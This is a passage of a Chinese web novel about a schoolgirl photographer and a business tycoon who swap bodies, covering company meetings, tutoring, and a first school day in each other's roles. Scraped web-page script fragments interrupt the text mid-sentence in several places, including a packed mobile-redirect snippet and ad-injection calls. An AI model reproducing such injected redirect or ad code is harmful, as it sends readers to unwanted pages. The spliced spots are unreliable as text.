l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13719800|144838||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,才不要趟这趟浑水。 裴粟与挺惊讶,他觉得是这个女孩见识浅,所以无法理解跟在他身边学习是一种怎么样的经历。 既然她不理解,他不会去解释,用最有效的办法就够了。 “一万一天。”裴粟与淡淡地道。 阮陨星的脸色顿时变得很扭曲。 一言不合就用钱砸啊,霸总就是牛。 但是她想到阮春玲女士会因此产生的不安和担心,坚持道:“不,我要上学。” “两万一天。”霸总加码。 阮陨星扭开脸。 “五万。” 阮陨星扶额:“诶呀这不是钱的问题。” 眼看霸总要还要开口加钱,阮陨星挥手打住:“停,真的不行,我不能失去正常的生活秩序,否则以后恢复正常了怎么办?我的家人怎么办?” 最后一句才是重点,眼看她如此坚决,霸总暂停了攻势。 裴彰停下手上的游戏,若有所思看着她。 阮陨星经过这两天相处,加上自己以最不可思议的方式接触了霸总,对这等大人物已经祛魅了。 霸总也要吃饭,也要处理父子关系,也要上厕所,遇到闻所未闻的事情也会崩溃,也会为了在意的事情焦头烂额忧心忡忡,也没有什么太好的办法。 总而言之,也就只是个人。 阮陨星因此表现出一种天不怕地不怕的气势,心想大不了摆烂,你摆烂只能获得一个废物女高中生,我摆烂我可以毁了全市首富,怎么说都是自己这边破坏力更大一点。 “你怎么想?”裴粟与开口了。 阮陨星道:“你要代替我上学,尽量在你正常的时候处理好工作,如果真的有急事,可以请假,按小时算工资。” “还有我外婆,不要吓到她。” 裴粟与紧紧皱起眉头。 显然这个条件他不太能接受。 阮陨星交叉双臂,一个不退让的态势。 一个不听话的人他有很多种办法让对方妥协,但如果这个人换成了他自己,他确实是无能为力。 车到山前必有路,他想。 “可以。”裴粟与答应下来。 他甚至主动道:“工资照付,一万一天。” “真的?”阮陨星吃惊。 对裴粟与来说这些只是小钱,用小小的糖衣炮弹腐蚀这个女孩,或者说,跟她打好关系,再划算不过。 日子还长,裴粟与心想这么个小女孩只要找到了办法自然是能拿捏。 而且互换身体这种事情,必然涉及到全新的规律,作为互换者之一的阮陨星,他不会让这么一个具有研究价值的实验体脱离自己的掌控,这些钱,花得很值。 说到做到的裴霸总很快给她转了十天的工资。 一下子,阮陨星就变成了小富婆,看着账户余额上的六位数,她一时间有些不真实的感觉。 轻飘飘的。 算了,反正从互换身体以来,一切就已经足够虚幻飘忽。 一整个下午,她都在按照霸总的指令做事。 在市场部开会的时候,她和霸总一前一后走进会议室。 台下的经理们有的年轻有的年老,对老板突然其来的举动很是惊讶。 消息灵动的他们倒也是知道了阮陨星的存在,心底都在猜测。 但什么样的猜测也没有接下来听到的消息冲击力大。 阮陨星听到自己富有磁性的声音缓缓地道:“和大家介绍一下,她就是,嗯,之前我一直培养的继承人,公司的事物她都了解,我不在的时候,由她负责公司的决策。” “开玩笑吧!!”有个三十多岁的经理不敢置信地叫了出来。 “阮陨星”静静地看着他:“华东区上个季度销售额下滑22%,子公司利润同比收窄10%以上,原计划拿下的地块也被对手收入囊中,下个季度存货全部开盘,下下季度却没有能够开售的资产,届时前两年融资的贷款陆续到期,你怎么还?” 华东区经理头上的冷汗当时就下来了。 这、这女孩说话的口气怎么和裴总那么像,不仅对数据了如指掌,说话盘问的逻辑还一模一样。 难道真的是暗中培养的继承人?可她到底是什么身份能当这个继承人?又是为什么要把她暗中培养,现在又曝光? 10. 继承人的压迫感 在“阮陨星”暴风骤雨步步紧逼下,那经理回答得磕磕绊绊,几乎有些喘不过气来。 剩下的经理也没有逃过霸总的拷打,霸总只是换了一个身体,但不是换了个脑子,他依然能够清晰地调动脑海里的数据,并且自然快速地组织成自己想要的字句,作为子弹发射出去,将质疑自己的人一一击倒。 几乎是碾压般的气势。 开到最后,这场会成了裴粟与单方面的输出,他对下半年几个子公司的发展进度很不满,尤其是他看中的西南板块,西南几个交通要道接连落成,要道聚集的城市将来会飞速发展,他们必须要在群狼环伺下挣得先机。 “好了,今天的会就开到这里,我想大家对她的能力有了清晰的认识,那么就还是像我之前说的一样,我不在的时候,由她来进行决策。”阮陨星做了收尾。 “是。”这些经理们纷纷站起来应道。 看着他们一个接一个出去,裴粟与坐回椅子上,手按了按眉心。 连续不断地进行高质量输出,他的脑子实在疲惫,不过也是存着故意的心思在,这些经理是中层管理者,等他们出去后散开消息,以后阮陨星身份办事方便。 裴粟与带着阮陨星和裴彰回到家,热腾腾的饭菜热情地迎接主人,阮陨星开会的时候就饥肠辘辘,等到了别墅,大口大口地吃起来。 她快速地填饱自己的肚子,紧接着百无聊赖地躺在床上玩手机。 隔壁又传来轻缓舒扬的钢琴声,阮陨星躺在床上上,没一会儿就睡着了。 朦胧中她被惊醒,好像是做了一个噩梦。 噩梦的阴影在脑海中迅速消散,她摸到手边的手机,按亮屏幕。 屏幕上是陌生的壁纸,显示现在是凌晨五点半。 这是裴粟与的手机。 换过来啦? 阮陨星不要太高兴,一咕噜爬起来,开灯后果然发现自己睡在霸总房间。 再往镜子前一凑,这美丽的小脸蛋不就是自己么。 阮陨星神采奕奕,别看只睡了五六个小时,但就好像睡了十个小时一样,睡得饱饱的。 她怕再睡又会换过来,于是从床上起来,换好衣服。 整个别墅静悄悄的,大部分人都还在睡梦中。 阮陨星看到二楼客房门打开,裴粟与冷淡地站在门口。 他已经穿戴整齐,看到阮陨星招手叫她过来。 “嗯?”阮陨星有一种不祥的预感。 “既然早起,就跟着我熟悉公司的事务,以免有纰漏。” 裴霸总所当然地道。 阮陨星那股子懒劲上来了,讪讪地道:“什么都是您处理,我就不用学了。” “这是你的工作内容。”裴总冷冷地道。 他不容置疑地将阮陨星拎到自己书房,按在书桌前。 然后拿出一套显然是整理得很完备的资料,让她开始看起来。 整个过程堪称折磨,阮陨星本来就讨厌别人强逼她学习,结果现在被霸总强行赶着学,比如让她看完十个人的资料,然后复述一遍他们的个人信息,再比如让她看一套套的公司账目和报表,所有的关键点和数据都需要一一记下,再再比如将每个子公司的详细情况列出,并且点出每个公司的发展难点。 这些都有答案,但就算是把答案喂到了嘴边,阮陨星还是咽不下去。 刚开始还看在工资的面子上好好学习,当天已经大亮,阮陨星忍不下去,一把推开面前的资料,嚷嚷道:“不学了,我退钱好吧。” 裴粟与皱眉:“你学得很快,为什么不学?” 是的,阮陨星刚开始认真的时候,竟然能达到他的要求,这短短的时间,把集团了解了大半,集团那些公开的还有一部分不能公开的数据都存进了她脑子里,这种效率,堪称神速。 这是聪明人。裴粟与想。 可惜很懒,不仅懒,还没有毅力,没有耐心。 真是浪费她的天赋。 裴粟与指着资料的手顿了一下,决定徐徐图之。 “可以,今天就到这里,明天再继续。” “明天还要学!!?”阮陨星不可思议地道。 今天这一堆枯燥乏味的东西把她脑子塞得满满的,她连构思新拍摄主题的精力都没有了。 跟被压榨过度的白领牛马一样,脑力已经枯竭。 裴粟与:“当然。” 阮陨星猛然摇头:“不干,这些东西太伤人脑子了。” 裴粟与都快要气笑了。 能被他这种级别的管理者亲自教导公司管理知识,是多少人求都求不来的,这女孩怎么这么不耐烦的样子? 要知道他给的这些公司资料都是不传之秘,将来要教授她的也都是自己的管理心得。 学到皮毛都是受益无穷。 阮陨星站起来:“我要做我自己的事情。” 她一扭头,走到书房门口前,扭开房间门。 结果走到门口,就看见宋管家引着一个家教从书房里出去。 走过去一看,书房里摊开了好几本书,一沓沓资料整齐有序地放在裴彰手边。 裴彰看向她,面无表情。 大概是刚刚经历过补课的痛苦,阮陨星前所未有地从他的表情里面读出了一股疲惫和淡淡的厌倦。 “你从几点开始补课的?”她问。 “六点。”裴彰道。 接着他问:“你刚才和父亲在书房?” 阮陨星一摆手:“别提了,痛苦死了,都是集团的资料,还要考我,学得我头都要炸了。” 裴彰抿了抿唇:“他教你这些?” “对啊,不然怎么应付公司的其他人,你说到这个,我也要写我的注意事项给你爸,让他照着做,不能ooc我的人设,不然别人以为我精神分裂了,我外婆会担心的。” 裴彰对她说的这些不置可否。 “能被他教导,是你撞了大运。” 他道。 阮陨星看他一副认真的模样,嘴角抽了抽;“你没病吧,是不是被洗脑了,正常的高中生会觉得跟你爸学怎么管理一个公司是幸运吗?我又没公司要管。 再说了就算你那么觉得,我才不这么认为,我就喜欢学自己感兴趣的东西,这些资料资料无聊枯燥,你说说,学那些有什么意思?” 说完阮陨星盯着裴彰,势必要他说出个子丑寅卯来。 裴彰张了张嘴,没说话。 或者是说他也回答不出阮陨星的问题。 阮陨星胜了一筹,得意洋洋:“就说嘛,你乐意跟个机器人一样灌这些知识就灌,别拉我下水,我外婆才不像你爸那么严厉呢,她都不管我学习,我考得不好也不会失望骂我,永远是乐呵呵的,你呢?” 裴彰不语,她继续输出: “考得不好就很对不起这些老师吧?就怕你爸失望吧?啧啧,真可怜。” 裴彰的脸色并不好看,阮陨星几乎是耀武扬威似地跟他炫耀自己的自由和阮春玲女士的爱,她知道不管自己考几分,阮春玲女士都会一样爱自己,可裴彰,从她这段时间对这父子两人的观察来看,关系更像是疏离的上级和下级。 裴彰永远是顺从的沉默的小心翼翼的,在裴粟与面前他几乎压抑了所有的情感,而只以他的意志为遵。 拼命提高自己学习各项能力,只是为了不让他失望。 这种叫什么?有条件的爱?不对,她觉得裴粟与甚至都不爱裴彰,呼来喝去,强行安排,作为父亲他没有给裴彰一点点的温情。 阮陨星心想自己要 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 是摊上这么一个父亲肯定痛苦死了,怪不得裴彰总是一副死人样。 不跟他计较。 阮陨星见他不说话,扭头就离开了书房。 她享用了一顿丰盛的早餐。 早餐后,三人前往研究所查看那两块陨石碎片的情况。 “又轻了,两片减少的重量一模一样!太奇怪了,难道陨石里的未知物质是挥发性的吗?能同时挥发?”那院长百思不得其解,他一心扑在陨石碎片上,连接待裴粟与三人都是在实验室内,这会一边盯着灯光照耀下的两片碎片一边喃喃自语。 裴霸总开口:“你们能不能找到重量减少的机制?” “我们目前正在以各种手段尝试,您知道,这不容易,不容易,我们要考虑到神秘物质可能的物理性质和化学性质,现在碎片周围已经安排上了各种检测仪器,这些减少的重量我们要测量出它们去了那里,是以电磁波的形式释放?还是反应出了某些物质?” 院长说着说着,又回到了仪器前操作,沉醉在未知的世界里。 眼看没什么收获,三人只好离开。 今天阮陨星终于能抽出时间去处理自己的事情。 她先回了一趟家。 阮春玲女士正好在家打扫卫生,拎着一袋垃圾从她房间里出来,看到她,叫了一声。。 阮陨星连忙接过她手上的垃圾:“外婆,这个垃圾等会我拿去丢。” 阮春玲女士拿着眼镜上下打量她一会儿:“这两天玩得开心?” 她的借口是跟同学去玩,期间她会按时报平安,介于她打下的良好信誉基础,阮女士并没有起什么疑心。 “开心……”阮陨星想到这几天的经历,说得很勉强。 一堆糟心事,大概只有那些转账是让她开心的。 她从背后拿出一个盒子,邀功似的摆到阮春玲女士眼前。 “礼物!” “哟,这质量不错啊,贵吗?”阮女士打开盒子,看到里面的老花镜,立即拿起来试戴,爱不释手。 “不贵啦,而且这是用我挣的钱买的哦。”阮陨星跟很多小辈一样,在价格上做隐瞒。 她之前对外婆说她摄影会时不时有收入,现下自圆其说没问题。 “成,今晚想吃什么?”外婆问。 “焖茄子和凉拌豆腐!”阮陨星立即道。 这两道菜是阮春玲女士的拿手好菜,而且做起来她不累,是阮陨星点的频率最高的。 “成,呆会打完牌回来买菜给我的乖乖孙女做。”阮春玲笑道。 阮陨星摇摇手指:“已经买啦,放进冰箱里了,你直接做就行,我下午去找同桌。” “天天玩玩不腻啊?”阮外婆笑呵呵地,也没说什么,背着手挎着小包走了。 阮陨星赶到李雀影家附近,约了她出来。 “好漂亮啊这些蛋糕!”李雀影到了约定的地点,推门进去看到阮陨星点的蛋糕和奶茶,感叹道。 蛋糕精致漂亮,香甜可口,奶茶用独一无二的杯子装着,各有各的好看,摆盘看着就赏心悦目。 “今天放开了吃,我请。”阮陨星大气地道。 李雀影睁大眼睛:“这么大方,发财啦?” 阮陨星嘿嘿一笑:“那个比赛我进入下一轮,有奖金的。” “这么好,什么比赛啊?”李雀影坐在阮陨星对面,拿过一个抹茶巴斯克小口地品尝,顺口问。 这一问正中阮陨星下怀,她道:“是裴氏集团举办的,你看。” 说着把海报点出来给她看,阮陨星看着官方账号煞有介事地公布排名发布作品,觉得有点滑稽。 谁能想到这个比赛其实从头到尾就只有她一个参赛者,这些公布的作品,参赛的选手还有评审的专家,都是假的。 11. 爆炸性八卦 阮陨星边吃东西边把之前拍摄修图中不满意的地方和李雀影沟通。 吃完后两人又找了个密室逃脱玩起来。 傍晚回到家,熟悉的家常焖茄子酱香味扑鼻而来。 阮陨星深深吸了一口,几天来一直缭绕的不真实感忽然消失,她怦然落地,回到了真实的生活中。 才三天,却像是过了好久,她觉得自己都变得不像自己了,扮演裴粟与这么一个霸总压力真的是很大,所有人的目光都聚集在他身上,阮陨星不敢做出任何不符合人设的事情,像是被装进了一个套子里,小心翼翼地安排着自己的行为话音,以免触犯边界。 晚饭后阮春玲女士出去遛弯,阮陨星奢侈地跑了个热水澡,雾气腾腾里,她举起自己的胳膊看。 这样互换的生活不知道还要持续多久,她必须做好准备,首先就是步入正轨之后无论如何也要让裴粟与扮演好自己,不能老住别墅,大不了互换的时候她起早一点交换。 其次学必须上,要让他代替自己上学,至于公司的管理,让霸总换回自己身体的时候处理好,有什么紧急的事情她再询问霸总如何处理。 日常为了不露馅,她还是要学习集团公司的相关事宜。 ——果然逃不过学习的命运吗? 阮陨星沮丧地把头迈进浴缸里,哀怨地想到。 认清现实,她和裴粟与达成了一致,国庆假期接下来的几天,都在跟他奋力学习,书海苦战,按阮陨星的话来说——当年中考都没那么拼过。 原先定好的哪些约拍行程,也只能一一推掉,甚至倒付了不少违约费。 假期的最后一天,回到自己的身体里,阮陨星久违地出去走了走。 她坐在家附近的游乐场长椅上,看着游乐场里的人群。 这个游乐场是小时候阮春玲女士经常带她来玩的,那个时候每次来都很开心,可惜现在因为设备久不更换,以及城市中心繁华地带变幻的原因,以及没落了好久,来的只有一些附近的居民,带着孩子玩点便宜的项目打发时间。 她靠在椅背上,脑子里的新鲜的知识翻腾不休。 裴霸总真不愧是老练的资本家,两人定好协议后往死里压榨她,先是用两天了解集团各项事务,再就是面向广阔的市场做同行业分析。 管理一家公司要操心的事务何其之多,光是纸上谈兵阮陨星都已经身心俱疲,她现在的指望就是裴粟与能自行解决好一切,麻烦事别找上自己。 期间她问过裴粟与为什么不让裴彰接手,结果对方只是淡淡说了一句:“还不到时候,他需要学习积累。” 一句话,阮陨星就知道到未来十年裴彰的未来都会是灰暗无光的。 随即又觉得很气:“你倒是好好培养你儿子,怎么我就要揠苗助长。” “情况特殊。”裴粟与无奈地道。 这几天两人相处下来,裴粟与在她面前卸掉了霸总高冷的面具,两人居然也能以平等地位讨论某些事情。 比如裴彰。 阮陨星才知道裴彰跟自己一样,母亲是不在了的。 而裴粟与自从裴彰妈妈死了之后一直没有再婚,父子两人生活在一起。 说道这里阮陨星忍不出发出疑问:“那怎么你们的关系那么地——” 她斟酌了一下用词:“不亲近?” 裴粟与转向窗台,他站在落地窗前静默不语,高大的影子覆盖住桌面,也覆盖住了一半的阮陨星。 很久很久,他都没有说话。 于是阮陨星知道了他不想回答。 她很自然地转移话题,她就这点好,不怕尴尬,钝感力十足,多尴尬的场面对于她来说都很难让她实际性产生羞耻。 “陨石碎片我抽空给雀宝看了,也跟她说了有人要收购,她同意了。” 这是阮陨星的主意,她从研究院院长手下好不容易抢到了半天时间,于是拿出来给雀宝过目,大概是过了好几天而且网上的热度也被压了下来,因此李雀影只是好奇地把玩了一下。 于是阮陨星就对她说有买家愿意出3万元购买,两人一人一半。 李雀影没多纠结就同意了,如此一来陨石碎片就可以一直放在研究室里研究。 裴粟与点了几下,把钱转给她。 “研究室那边有进度吗?”阮陨星忍不住问。 裴粟与转过身看了她一眼,然后道:“有。” “怎么样!??”阮陨星振奋起来。 裴粟与拿出一份报告,递给她。 阮陨星看着上面一连串自己根本看不懂的数据,很是迷茫:“这什么意思?” 裴粟与解释:“他们检测到了能量转换的痕迹,以未知的形式扩散。” “如果阻拦这股能量,是不是我们就换不了了?”阮陨星期待地问。 裴粟与不置可否:“再看吧,研究未知的事物不是那么容易的。” “行叭。”阮陨星悻悻地道,想到明天收假第一天,她急忙嘱咐:“记得交作业,还有雀宝那边就说你在忙比赛,别跟她多说话。” 裴粟与:“行。” “千万啊!”阮陨星还想再说什么,又被霸总逮住空闲压着学习去了。 在游乐场坐了一晚上,阮陨星心满意足地回家了。 ———— “滴滴滴滴!滴滴滴滴!”闹铃唤醒熟睡的阮陨星。 她精神百倍地起了床,洗漱过后,穿上霸总前一天搭配好的西装和首饰,蹬着柔亮的意大利手工小羊皮皮鞋下到楼下。 一楼裴彰喝掉最后一口牛奶。 本来他不用那么早出门的,但是现在他多了一个任务,那就是接送“阮陨星”上下学。 裴粟与的命令,他总是一丝不苟地执行。 阮陨星吃了个三明治,牛奶还没来得及喝,上车时间就到了。 她遗憾放下,走到大门,钻进车里。 从今天开始,裴彰和霸总都不在她身边,有什么事情她第一时间只能靠自己。 “希望不要搞砸吧。”她嘀咕道。 ———— 加长车身稳稳停泊在小区前,裴彰看着窗外。 卡着约定好的上车时间,裴粟与一边看手机一边稳稳当当地从小区里走来。 他瞥了一眼车门,裴彰帮他打开。 穿着校服的女孩把手里的书包甩到座位上,顺势坐了进去。 “开。”她轻声道。 “开车。”裴彰对司机说。 汽车在宽广的大道上飞速前进。 到了学校,校门口已经挤得满满当当,裴粟与看了一眼,皱眉:“车这么多?” 裴彰道:“上学高峰。” 裴粟与想了想,说:“你以后提前二十分钟来。” “好。”裴彰答。 “还有,在她家那边买套现房,接我的那天你就住哪里。” 裴彰愣了愣。 “……好。” 裴霸总拉开车门,长腿一迈潇洒地下了车,至于书包,当然是裴彰背。 他手机不离手,飞快地处理着各种消息。 裴彰背着两个书包跟在他身后。 “小陨陨——”一个清脆甜美的声音在侧前方响起,个子稍矮长相甜美的女孩一把扑到“阮 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 陨星”身上:“这几天你都忙死了,都没能一起去玩!” 裴粟与僵直了身体,根据长相,这就是阮陨星的同桌李雀影。 但是…… 年轻的小女孩之间都这么黏糊吗? 他看着女生挽着自己手臂的手,忍不住把手抽出来。 “怎么了?”李雀影疑惑地问。 “手有点不太舒服。”他随口找了个理由。 “哦哦是不是举重物拉伤了啊,我不碰了,你小心点,对了我帮你背书包,你书包呢!?” 李雀影这才意识到好友全身上下没带任何一个包。 这不应该啊,出门必带包是阮陨星的特点,哪怕是一个只装得下手机的小包,她也视为带了,但就是不允许自己空手出门,她说这样会有一种恐慌感。 裴粟与指了指后面:“他背。” “啊?” 李雀影迷茫地把视线投向“阮陨星”身后。 她刚才只来得及和好友贴贴,没注意周围,结果这一看,下巴都要掉了。 裴彰!裴彰跟在阮陨星身后! 还背了她的书包!!! 卧槽!!! 怎么回事!!! 这两个人放假前还水火不容来着!!为什么过了一个假期,就这么亲密了!? 而且裴彰一点也不像是不情愿的样子,端端正正地背着她的书包,反而自己的书包提在手上。 可爱童趣的背包跟你的冷脸一点也不搭啊大哥! 李雀影被惊到了,回过神来才发现阮陨星已经走出好几步。 她几步赶上,低声在好友耳边问:“我去你怎么办到的?裴彰不是讨厌你吗?怎么会帮你背包啊?” “阮陨星”偏头把距离拉远,淡淡道:“有点合作。” “什么合作,难道你拐他当模特了!?啊啊啊你要拍什么我一定要去现场帮忙,天啊小陨陨你真的你厉害死了,这么难搞定的人也能摆平。” ——这都什么跟什么? 裴粟与听得一阵头晕,这种年轻人间的对话他理解不了一点。 “再说吧,要迟到了先进班。” 裴粟与跟着李雀影顺利找到班级,再顺利地坐到了阮陨星的座位上。 裴彰给她把背包放在桌面上。 班里的人诧异地看着这一幕。 “我眼睛没瞎吧?”有人吐槽道。 一路来裴彰受到的注目礼尤其地多,因为长相学习家庭背景三重buff加持,他顺理成章成为学校第一风雨人物,而这样的冷脸学霸居然破天荒地背了一个女生的包,还跟在她后面。 这实在是太爆炸了。 一路过来,八卦以预想不到的速度飞速传播,窃窃私语响起在每个班级的小团体中。 每个人都在打听那个女生。 阮陨星也是个风云人物——非典型模范的那种。 所以很快她就被扒了出来。 还有人说今天早上上学的时候看见两人从裴彰家的豪车上一起下来。 ——不会吧? 每个人都有自己的猜测,到第一节课下课,课间操的时间,众人的八卦之魂熊熊燃起。 李雀影发现课间的时候窗外路过的人多了很多。 而且不止是来看裴彰的,还连带着看阮陨星。 甚至阮陨星才是重点。 而自己的同桌浑然不觉,埋头在书桌上,看似是在睡觉其实是在玩手机。 她们的高中对手机并没有限制,只要不是上课时间其余时间可以合理使用,因此阮陨星手机不离手,飞快在屏幕上点来点去回消息。 12. 收假第一天 “陨宝,陨宝。”李雀影感觉挺奇怪,来的人视线都往自己的好同桌身上扫,她没感觉的吗? 可是叫了好几声她也没反应,不得已李雀影只能伸手过去推了一下:“陨宝!” “阮陨星”猛地抬起头来,皱着眉,冷冷地看着眼前的女孩。 “什么事?”裴粟与冷冷道,他正针对一个提案做回复,写到一半被打扰,很不耐烦。 李雀影被她那陌生的眼神吓住。 “呃——他们老是看、看你。”李雀影磕磕绊绊地说完。 随后又小心翼翼地问:“陨宝你怎么了,生气了吗?” 裴粟与瞬间意识到自己不是在面对下属,他整理了一下面部表情,尽量温和地道:“没事,他们看就让他们看吧,不会少块肉。” “你真沉得住气,不过今早是怎么回事?裴彰他居然帮你拿包?你们假期里干了什么?”李雀影好奇地道。 由不得她不好奇,这两人明明放假第一天还互呛,收假后居然好成这样。 裴彰来了也有两个月了,可从来没有对谁那么有耐心过。 “忙了点事,回头再说。”裴粟与又埋头在手机里,他心想这个位置太不好,人走动很多,得去个角落的位置。 回复完提案,发送给对应的负责人,顺便也发给阮陨星一份,免得下面的人问的时候一问三不知。 他想着阮陨星那副无赖的懒样,顿时就气起来。 他可是看出来了,尽管自己往死里压榨她,可她还是见缝插针地找机会休息,面对他布置的任务,件件都做到及格,但绝对不会做到最好。 能应付得了他,却又不至于太累着自己。 可谓是拿捏有度,意识到这一点的时候裴霸总都气笑了。 从来没见过这么不思上进的小孩。 相比之下裴彰算得上是优等生了。 裴粟与对裴彰的学习能力并不满意,在他看来,这个孩子并没有继承到自己的智力,只比普通的孩子略强些,全靠名师家教教导才有现在的成果。 跟阮陨星这一对比,裴彰的好显而易见。 勤奋,听话,足够沉稳。 高考后可以适当让裴彰进入公司进行历练——裴粟与想。 李雀影去上厕所,裴粟与将手机收到抽屉里,拿起新买的玻璃杯,把最后一口水喝完。 喝完之后,他伸手往斜后面一递,递给裴彰。 裴彰顺手接过,然后听见“阮陨星”道:“找个办法换到后面角落。” “好。”裴彰接完水后,就出了教室。 直到课间大休息结束,他才回到座位。 下一节是班主任的课,一整节课都被她用于讲解高频错题,下课铃响起,班主任收起习题册,看向阮陨星。 “阮陨星,你短板在理科的高难题和压轴题,你去跟裴彰坐,好好向他学习,多请教,把你的短板补上来。” “什么?”李雀影反应最快,惊叫道。 “好。”“阮陨星”点头应下。 李雀影扭头看好友,眼睛睁得大大的,低声道:“真去啊?老班吃错药了吧。” “阮陨星”没吭声。 “你们坐到后排去,裴彰带着你把握进度。”班主任接着道,说完又环顾四周,提高声音:“其他人也不要松懈,有的人复习进度落下多少不用我说,自己加紧赶上来,平常同学间积极交流,为他人讲解问题对自己巩固知识很有好处,知道了吗?” “知道了——”众人应和声响起。 班主任走后,班里一下炸开了锅。 “怎么突然就调她跟裴彰坐一块了?” “是啊怎么想的,这两人不对付的。” “别忘了今早上的事情,我看啊,有情况。” 讨论声音越来越大,八卦是人类刻在基因里的本能,众人摩拳擦掌。 裴彰眼神冷冷扫过去。 被扫到的那一片人霎时禁声。 裴彰把自己的东西收拾好搬到后排角落的空桌子,然后又帮“阮陨星”收拾。 “陨宝——你要抛弃我了!”这么一来,李雀影只能自己坐,或者是跟裴彰的同桌一起,可她不太喜欢那个同学,宁愿自己坐。 李雀影完全不知道是裴霸总嫌弃周围人来人往而提出的要求,沉浸在自己的悲伤里,她抱着“阮陨星”的腰哭嚎:“以后我抄谁的作业啊,以后谁提醒我问题答案啊,以后谁帮我睡觉望风啊——” 裴粟与嘴角抽了抽。 怎么这小孩比阮陨星还不思进取,真是物以类聚人以群分。 从小到大都是精英教育的裴霸总一上午三观刷新不少,他开始怀疑让裴彰呆在这种环境,是否不太好? 他甩甩头,把自己从李雀影手臂里挣出来,走到角落里继续敲手机。 阮陨星的课本和练习册都堆在桌面和旁边的书箱里,而抽屉里则是许多稀奇古怪的玩意。 裴彰看着手上一个黏糊糊的弹力球,真想直接扔掉。 “哎,这是陨宝的道具。”李雀影阻拦。 “抽屉里都是宝贝,扔不得。”她强调。 裴彰想了想,把弹力球丢回抽屉,扯了张李雀影桌面的湿巾擦手。 “反正也没有人坐,就放这里,你帮她看着。”裴彰道。 “当然。”李雀影苦闷地点点头,扭头看好友,她正光明正大玩手机呢! 真是潇洒!李雀影羡慕得要命,那个角落相当隐蔽,书本和练习册一垒,就是在后面搭乐高也难发现。 就是因为这位置太“好”,所以老班之前一直不放人坐。 现在好了,自己得坐前排煎熬,她角落里快活。 李雀影过去,一屁股坐在她旁边:“陨宝,你啥时候回来陪我啊,一个人坐可无聊了。” “无聊就学习吧。”裴粟与头也不抬。 李雀影惊叫:“你变了陨宝,你以前从来不说学习的事情的!” “嗯,变得可多了。”裴霸总敷衍道。 胡闹间,最后一节课铃声响起。 裴彰走近座位,就站在她旁边,无声催促。 李雀影没法子,恨恨地回到位置上。 但她也琢磨起来——今早的小陨陨太奇怪了,她到底怎么了,不会是遇到什么事了吧? 一整个上午都低头看手机。 难道,是跟陨石有关!? 李雀影担心起来。 不会是被卖家骗了,其实对方根本不想买,然后不敢跟自己说吧,其实也没什么,一块陨石而已,本来她也没指望卖什么价钱,那一万五没了就没了,反正也是飞来横财,只是她不想陨宝因为这个有负担。 阮陨星要知道李雀影这么想,她马上会后悔自己没在国庆假期里转账给她。 当时跟李雀影商量决定卖出陨石后,她没有马上转账给她,打算等两天过度一下,再找机会转过去。 不然,前脚刚跟李雀影说好把陨石卖了,后脚就转账,不合逻辑。 所以她打定主意等到收假第二天,等她回到自己的身体里后,再转给雀宝。 李雀影 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 并不知道阮陨星的这一层考虑,她把这念头在脑子里颠来颠去,并用自己丰富的想象力把细节完善,最后狠狠相信就是因为这个原因陨宝才变得异常。 于是早上的最后一节课,李雀影时不时扭头去看阮陨星,当她看到阮陨星把身体都藏在书堆后,不免更加担心。 频频转头让后排的同学也都不由得转头去看。 裴彰正襟危坐,裴霸总——裴霸总埋头处理阮陨星转过来的工作文件。 这么明显的动静,上课的数学老师一眼看到,拍了几下桌子:“哎哎哎,看什么!?后面有状元啊?” 后排的人赶紧转过头,数学老师却注意到了书堆后的人。 “阮陨星!”他叫道。 书堆后毫无动静。 “阮陨星!”数学老师提高声音。 裴彰扭头对旁边说了句什么,“阮陨星”慢慢站了起来。 “书堆得那么高,看得见白板吗?”老师阴阳怪气地道。 那高度堪比堡垒,旁边裴彰的书一定也被她用了,才造出这种三面合围的书堆。 裴粟与敷衍地回答:“看得见啊。” “行,那你说说,这道题怎么解答?”老师拿激光笔指着上课屏幕上的一道题道。 裴粟与站得直了一点,屏幕上是一道很复杂的压轴大题,他扫了一眼,然后道:“不会。” “不会就抬头看,在下面开小差能开出满分吗?” 数学老师不满地批评了几句,才让她坐下。 裴粟与叹了口气,开始觉得答应阮陨星假装高中生是个错误决定,他宁愿顶着这幅身体去公司跟各高层缠斗来往,也不要当一个不得不听话的高中生。 “叮铃铃——” 好容易挨到下课,李雀影凑过来:“去吃饭了宝。” “我到外面吃。”裴粟与说。 “呃——好吧,有什么事你其实可以跟我说的,别自己扛着。”李雀影道。 “什么事?”裴粟与问。 李雀影小心地道:“那个陨石碎片卖成了吗?” “陨石碎片?”裴粟与语气中带着疑惑。 “对,其实卖不了也没什么,甚至是被骗了也不是大事,你不要有负担。” “这都什么事?”裴霸总显然跟不上李雀影的思路。 等李雀影遮遮掩掩地说了自己的猜测之后,他额头跳了跳。 反手给李雀影转了一万五。 “我只是有其他的事情要忙,陨石碎片已经卖了的。” “啊,这样啊——”李雀影的猜测破灭,她看着钱包里的一万五不知所措。 “没事的话我吃饭去了,走裴彰。” 裴霸总把手机一揣,起身带着裴彰走了出去。 裴彰他已经订好饭菜,就在平常吃的私房菜小馆,出了校门走三十米右拐进入居民小巷。 他是熟客,老板娘见到他带着人,赶忙把他引了进去。 “第一次见你带同学来吃啊,同学,有什么想吃的告诉阿姨,阿姨让叔叔给你做。”老板娘笑眯眯地道,尽心尽力地维护每天都贡献营业额而且不差钱的大客户。 裴彰淡淡地应了一声,两人坐在他常坐的位置上。 桌子上是清淡的蒸菜和汤,这是裴粟与喜欢的口味。 裴粟与拨通电话放到耳边。 对面传来一个醇厚沉稳的男声:“喂?” “今早怎么样?” “还行。” 电话对面,阮陨星躺在高档按摩椅上,享受得不行。 13. 专制初现 阮陨星跟霸总,也就是自己现在的老板汇报了一整个早上的情况。 也不知道霸总是怎么安排的,一整个早上基本没什么事情找自己,阮陨星在办公室刷刷消息上上网,别提多快乐了。虽然在学习她也是玩手机,但就跟打游击一样,偷偷摸摸的玩,哪有现在光明正大地刷视频来得舒服? “嗯,下午的会议取消。”裴老板丢过来一句。 